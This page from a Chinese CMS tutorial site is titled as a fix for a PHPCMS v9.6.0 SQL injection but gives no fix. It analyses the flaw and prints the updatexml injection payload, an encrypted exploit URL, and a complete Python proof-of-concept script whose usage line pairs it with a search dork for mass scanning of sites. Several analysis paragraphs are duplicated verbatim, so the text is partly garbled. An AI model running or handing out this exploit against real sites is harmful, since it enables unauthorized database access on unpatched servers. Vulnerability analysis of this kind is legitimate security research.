您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMSv9.6.0wap模块SQL注入漏洞修复方法
易烟2025-05-21phpcms教程已有人查阅
导读调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\' 。
调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。
由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\' 。
分析:这个漏洞要三步的过程,直接进入第三步。
根据给的poc:
parse_str($a_k); 以&为分隔符,解析变量并且注册变量,并且对url进行解码 (参考:http://php.net/manual/zh/function.parse-str.php)
我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)进入get_one函数就开始对sql语句进行查询了。所以就是个注入了,是由parse_str()函数引起。
接着看怎么解码的,继续下断点。
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) 函数位于 phpcms/libs/functions/global.func.php 第384-430行好难,还是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)看第二个请求。
代码如下:
存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。
设置了json_str,所以在回显中cookie有这么一段。
poc:
由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\' 。
分析:这个漏洞要三步的过程,直接进入第三步。
根据给的poc:
/phpv9.6.0/index.php?m=content&c=down&a_k=98f1bLd4Xl93HOb6nCHAem4rZNirba2Plthb5VFosbY8sc5Ge5RUOcXNmToG7KqSO4bFECOrCZKwNhkiCWbpToHPxCMsDVNT50f9b77GSaWC2sX-cwwyfhrIApZgubCyapauw4S9NTkNggs1YgGdCrk3cFXANkAC6v6UMN-be3zwZqfVLeOYdiw
可以看到应该是a_k参数出现问题,位于content目录下, down.php页面,parse_str($a_k); 以&为分隔符,解析变量并且注册变量,并且对url进行解码 (参考:http://php.net/manual/zh/function.parse-str.php)
我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)进入get_one函数就开始对sql语句进行查询了。所以就是个注入了,是由parse_str()函数引起。
接着看怎么解码的,继续下断点。
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) 函数位于 phpcms/libs/functions/global.func.php 第384-430行好难,还是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)看第二个请求。
代码如下:
存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。
设置了json_str,所以在回显中cookie有这么一段。
Set-Cookie: gggCB_att_json=4999e2GcIhZF8XVhycAj9oLE33PZMVtPv1gABnD5mdm5sI-0u9Yb4R6K5ISkWAvm8Eq2DiGdvWz4R4mSKDiKeZm-VeYkob8tukEmYPbZud6yb9cCRp9FR7tUIP92zHdUoynZYdTct2LQDeADrKgcbc1VNwUsVhPEwV8_Ngr7CegmdMsMx5mGiOI
这个post请求中有个post的参数,userid_flash ,搜索一下他干嘛的,要存在userid,不然就不能往下执行,所以才有了第一步。poc:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me
"""
PHPCMS content/down.php SQL Injection
version
<= 9.6.0
Type
error-based
Usage
python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100
"""
import requests
import re
from urllib import quote
TIMEOUT = 3
def poc(url):
payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f="
cookies = {}
step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
for c in requests.get(step1, timeout=TIMEOUT).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head + '_userid'] = c.value
cookies[c.name] = c.value
break
else:
return False
step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
if c.name[-9:] == '_att_json':
enc_payload = c.value
print '111'
break
else:
return False
setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
print '222'
r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
print r.content
print poc('http://phpstudy.com/phpv9.6.0/')
本文标签:
很赞哦! ()
下一篇:phpcms首页模板替换的方法
相关教程
图文教程
phpcms缓存文件目录位置在哪
phpcms缓存文件在哪里?phpcms缓存文件在caches目录下。caches目录:缓存文件集中地,按模型和类别分文件夹存放。
phpcms前端页面上传文件的实现方法
今天多亏网友指点,才弄懂了怎么在前台上传文件,记录下来跟大家分享一下PHPCMS其实有一个叫做附件的模块,上传用的就是这个东西,现在我们来看一下对应的文件:
phpcms标签含义整理
{template "content","header"} ---------- 调用根目录下phpcms\template\content\header文件{CHARSET} -------------------------------------字符集 (gbk或者utf-8)
phpcms找不到临时文件的解决方法
phpcms找不到临时文件的解决办法:首先找到并打开“php.ini”文件;然后找到内容“;upload_tmp_dir =”;接着输入临时文件夹的路径;最后删除该内容前面的分号
相关源码
-
(自适应多语言)WordPress开源主题MirageV资讯个人博客源码MirageV资讯类个人博客主题源码/WordPress主题/全开源MirageV 是一款开源的 WordPress 主题,支持自适应、暗黑模式、多语言等功能,查看源码 -
(自适应响应式)装修装潢设计公司网站源码下载本模板为装修设计企业打造,采用PbootCMS内核开发,整体设计突出空间美学与功能性结合。首页采用大图轮播展示工程案例,服务项目模块支持三维效果展示,呈现装修设计企业的专业形象与技术实力。查看源码 -
(自适应)高端集团跨国公司产业联盟机构网站模板免费下载基于PbootCMS内核开发的集团级企业网站模板,采用响应式设计架构,确保在各类移动设备上获得浏览体验。通过模块化布局与简约大气的视觉风格,帮助集团企业高效展示组织架构、发展历程和业务矩阵,建立专业的企业形象窗口。查看源码 -
帝国cms7.5自适应手机端在线课程教育网站源码基于帝国CMS后台管理系统,支持在线修改支付参数、联系方式等配置信息,操作界面直观便捷。专注于在线教育视频领域,提供完整的视频课程展示、付费购买及在线支付解决方案。支持多种支付渠道,满足教育培训机构的运营需求。查看源码 -
(自适应响应式)蓝色外贸英文产品介绍展示网站模板本模板采用手工编写的DIV+CSS架构,代码精简高效。适配手机端浏览,数据实时同步更新。内置SEO优化框架,支持独立设置各页面标题、关键词及描述。开源代码结构清晰,便于二次开发。查看源码 -
帝国cms7.5手游评测资讯礼包合集游戏专区下载网站模板本模板基于帝国CMS系统开发,为手游门户网站设计。支持PC端与移动端同步生成HTML静态页面,内置多端同步生成功能。模板架构针对手业特点优化,满足APP下载、游戏资讯、攻略等内容发布需求。查看源码
| 分享笔记 (共有 篇笔记) |
